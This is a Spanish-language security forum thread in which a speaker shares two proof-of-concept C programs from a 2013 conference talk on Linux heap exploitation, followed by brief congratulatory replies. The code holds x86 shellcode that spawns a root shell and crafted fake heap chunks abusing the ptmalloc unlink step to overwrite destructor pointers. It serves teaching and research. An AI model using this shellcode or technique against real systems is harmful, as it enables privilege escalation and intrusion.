Explotación en sistemas Linux
Avatar de Usuario
newlog
El Eterno Alumno
 
Mensajes: 170
Registrado: Lun Jun 23, 2008 7:28 pm

Linux Heap Exploiting Revisited

por newlog Lun Mar 11, 2013 12:09 am

Hola,

Aquí tenéis el paper del que os hablé en la charla que di en la RootedCon 2k13: Linux Heap Exploiting Revisited.

Aquí tenéis la presentación. Si queréis el pdf ya lo diréis, pero con el paper tampoco creo que sea necesario.

Aquí las pruebas de concepto (muy simples):
Primera (para que funcione os tenéis que bajar el código de la ptmalloc2 y cargarlo vía LD_PRELOAD)
Código: Seleccionar todo
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define PAYLOAD_SIZE   531

void world_destruction() __attribute__((destructor));
void build_payload (char *, void *);

char shellcode[]=    /* jmp 12 + 12 nops */
         "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         /* shellcode by vlan7 and sch3m4 */
         "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9"
         "\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
         "\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main(int argc, char ** argv) {
   
   int status;
   char crafted_data[700] = {0};
   
   
   /* Obtain the page size of the system */
   int pagesize = sysconf(_SC_PAGE_SIZE);
   if ( pagesize == -1) {
      perror("[-] Page size could not be obtained");
      exit(EXIT_FAILURE);
   }
   /* Obtain an aligned memory region in order to mprotect it */
   void * real_shell;
   if ( posix_memalign(&real_shell, pagesize, sizeof(shellcode)) ) {
      perror("[+] Aligned memory could not be obtained");
      exit(EXIT_FAILURE);
   }
   /* Copy the shellcode to the executable region obtained with memalign */
   memcpy(real_shell, shellcode, sizeof(shellcode));
   /* Making  shellcode location executable */
   mprotect(real_shell, pagesize, PROT_WRITE | PROT_EXEC);
   /* Making DTORS section writable */
   /* NOT DTORS ANYMORE IN GCC 4.7 .FINI_ARAY */
   mprotect((void*)0x8049000, pagesize, PROT_WRITE);
   /* The payload is built */
   build_payload(crafted_data, real_shell);

   
   char * ptr_1 = (char *) malloc (512);
   char * ptr_2 = (char *) malloc (512);

   memcpy(ptr_1, crafted_data, PAYLOAD_SIZE);

   free(ptr_1);
   free(ptr_2);   
   
   return 0;
}

void build_payload(char * crafted_data, void * sc_addr) {

   char str_dtor_ptr[5] = {0};
   char * seek = crafted_data;
   
   /* Trash */
   memset(seek, 'A', 516);
   seek += 516;
   /* size of second freed chunk. 0 value */
   memcpy(seek, "\x00\x00\x00\x00", 4);
   seek += 4;
   /* fd of second freed chunk. dtors_end - 12 */
   /* NOT DTORS ANYMORE, GCC 4.7 PUT IT IN .FINI_ARRAY */
   memcpy(str_dtor_ptr, "\xfc\x9e\x04\x08", 4);
   memcpy(seek, str_dtor_ptr, 4);
   seek += 4;
   /* bk of second freed chunk. Shellcode address */   
   memcpy(seek, &sc_addr, 4);
   seek += 4;
}

void world_destruction() {}

Segunda
Código: Seleccionar todo
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

#define PAYLOAD_SIZE   531

void world_destruction() __attribute__((destructor));
void build_payload (char *, void *);

char shellcode[]=    /* jmp 12 + 12 nops */
         "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
         /* shellcode by vlan7 and sch3m4 */
         "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9"
         "\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
         "\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main(int argc, char ** argv) {
   
   int status;
   char crafted_data[700] = {0};
   
   char * ptr_1 = (char *) malloc (512);
   char * ptr_2 = (char *) malloc (512);
   
   /* Obtain the page size of the system */
   int pagesize = sysconf(_SC_PAGE_SIZE);
   if ( pagesize == -1) {
      perror("[-] Page size could not be obtained");
      exit(EXIT_FAILURE);
   }
   /* Obtain an aligned memory region in order to mprotect it */
   void * real_shell;
   if ( posix_memalign(&real_shell, pagesize, sizeof(shellcode)) ) {
      perror("[-] Aligned memory could not be obtained");
      exit(EXIT_FAILURE);
   }
   /* Copy the shellcode to the executable region obtained with memalign */
   memcpy(real_shell, shellcode, sizeof(shellcode));
   /* Making  shellcode location executable */
   mprotect(real_shell, pagesize, PROT_WRITE | PROT_EXEC);
   /* Making DTORS section writable */
   /* NOT DTORS ANYMORE, GCC 4.7 PLACE DESTRUCTORS IN .FINI_ARRAY */
   if ( mprotect((void*)0x8049000, pagesize, PROT_WRITE) ) {
      perror("[-] Section could not be writable");
      exit(EXIT_FAILURE);
   }
   /* The payload is built */
   build_payload(crafted_data, real_shell);

   /* It's not really a .dtors pointer, but a pointer to .fini_array section */
   unsigned long * dtors_ptr = (unsigned long *)0x08049f08;
   *dtors_ptr = (unsigned long )( ptr_2 - 0x8);

   
   memcpy(real_shell + 8, dtors_ptr, 4);

   memcpy(ptr_1, crafted_data, PAYLOAD_SIZE);

   free(ptr_1);
   
   return 0;
}

void build_payload(char * crafted_data, void * sc_addr) {

   char str_dtor_ptr[5] = {0};
   char * seek = crafted_data;
   
   /* Trash */
   memset(seek, '@', 516);
   seek += 516;
   /* size of second freed chunk. Hexadecimal 16 value */
   /* PREV_INUSE bit set. Avoid consolidate backward (unlink) on 2nd free */
   memcpy(seek, "\x11\x00\x00\x00", 4);
   seek += 4;
   /* fd of second freed chunk. dtors_end - 12 */
   /* NOT DTORS ANYMORE, GCC 4.7 PLACE DESTRUCTORS IN .FINI_ARRAY */
   memcpy(str_dtor_ptr, "\xfc\x9e\x04\x08", 4);
   memcpy(seek, str_dtor_ptr, 4);
   seek += 4;
   /* bk of second freed chunk. Shellcode address */   
   memcpy(seek, &sc_addr, 4);
   seek += 4;
   /* Trash */
   memset(seek, '@', 12);
   seek += 12;
   /* size of fake chunk. PREV_INUSE bit unset. -8 value */
   /* triggers unlink in the nextinuse of the first free() */
   memcpy(seek, "\xf8\xff\xff\xff", 4);
   seek += 4;
   /* Trash */
   memset(seek, '@', 12);
   seek += 12;   
   /* Size of the second fake chunk */
   /* if the PREV_INUSE bit is set, the unlink is not triggered */
   /* in the second free()*/
   memcpy(seek, "\x41@@@", 4);
   seek += 4;
}

void world_destruction() {}


Espero que os gustara la charla! Ya veréis que con el paper todo os queda más claro jajaja.

Saludos.
Imagen
adrian
 
Mensajes: 1
Registrado: Lun Mar 11, 2013 11:39 am
Ubicación: Dublin

Re: Linux Heap Exploiting Revisited

por adrian Lun Mar 11, 2013 11:47 am

Enhorabuena por la charla ;) Una pena haberme perdido esta Rooted también, y van dos. Le he echado un ojo a la presentación y está muy bien. Cuando saquen los videos me lo agencio para ver qué tal se te dió el directo. :mrgreen:
Avatar de Usuario
vlan7
 
Mensajes: 87
Registrado: Jue Jul 22, 2010 3:45 pm
Ubicación: Mas alla del EIP

Re: Linux Heap Exploiting Revisited

por vlan7 Lun Mar 11, 2013 11:00 pm

keep on rockin' 8-)
int *p = new int[7];
p = p + 7;
*p = 42;

int a[7];
a[7] = 42; /* ESC[2;9y */
CapitanShinChan
 
Mensajes: 4
Registrado: Lun Ene 21, 2013 7:46 pm

Re: Linux Heap Exploiting Revisited

por CapitanShinChan Mar Mar 12, 2013 9:00 am

Muy densa la charla, pero mucho XD

Anyway, estuvo bien y el contenido fue muy interesante. Lo que pasa es que entre salir (xD) e ir a todas las conferencias, la mente ya no estaba tan ágil como debería. Este finde le echo un ojo al material.

Enhorabuena por la ponencia, me gustaron mucho los efectos de la ppt.
Avatar de Usuario
newlog
El Eterno Alumno
 
Mensajes: 170
Registrado: Lun Jun 23, 2008 7:28 pm

Re: Linux Heap Exploiting Revisited

por newlog Vie Ago 09, 2013 7:58 pm

Los buenos de la rooted ya han subido la charla.

Enlace aquí: http://vimeo.com/album/2369414/video/70799803

Uff, un poco vergonzoso oírme ^^'
Imagen
soez
 
Mensajes: 18
Registrado: Jue Mar 28, 2013 10:57 am

Re: Linux Heap Exploiting Revisited

por soez Jue Abr 10, 2014 6:15 am

Este verano le meto caña a este pdf, complemento al libro de blackngel, no desaparezcas que postearé las dudas x)
Volver a Linux

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado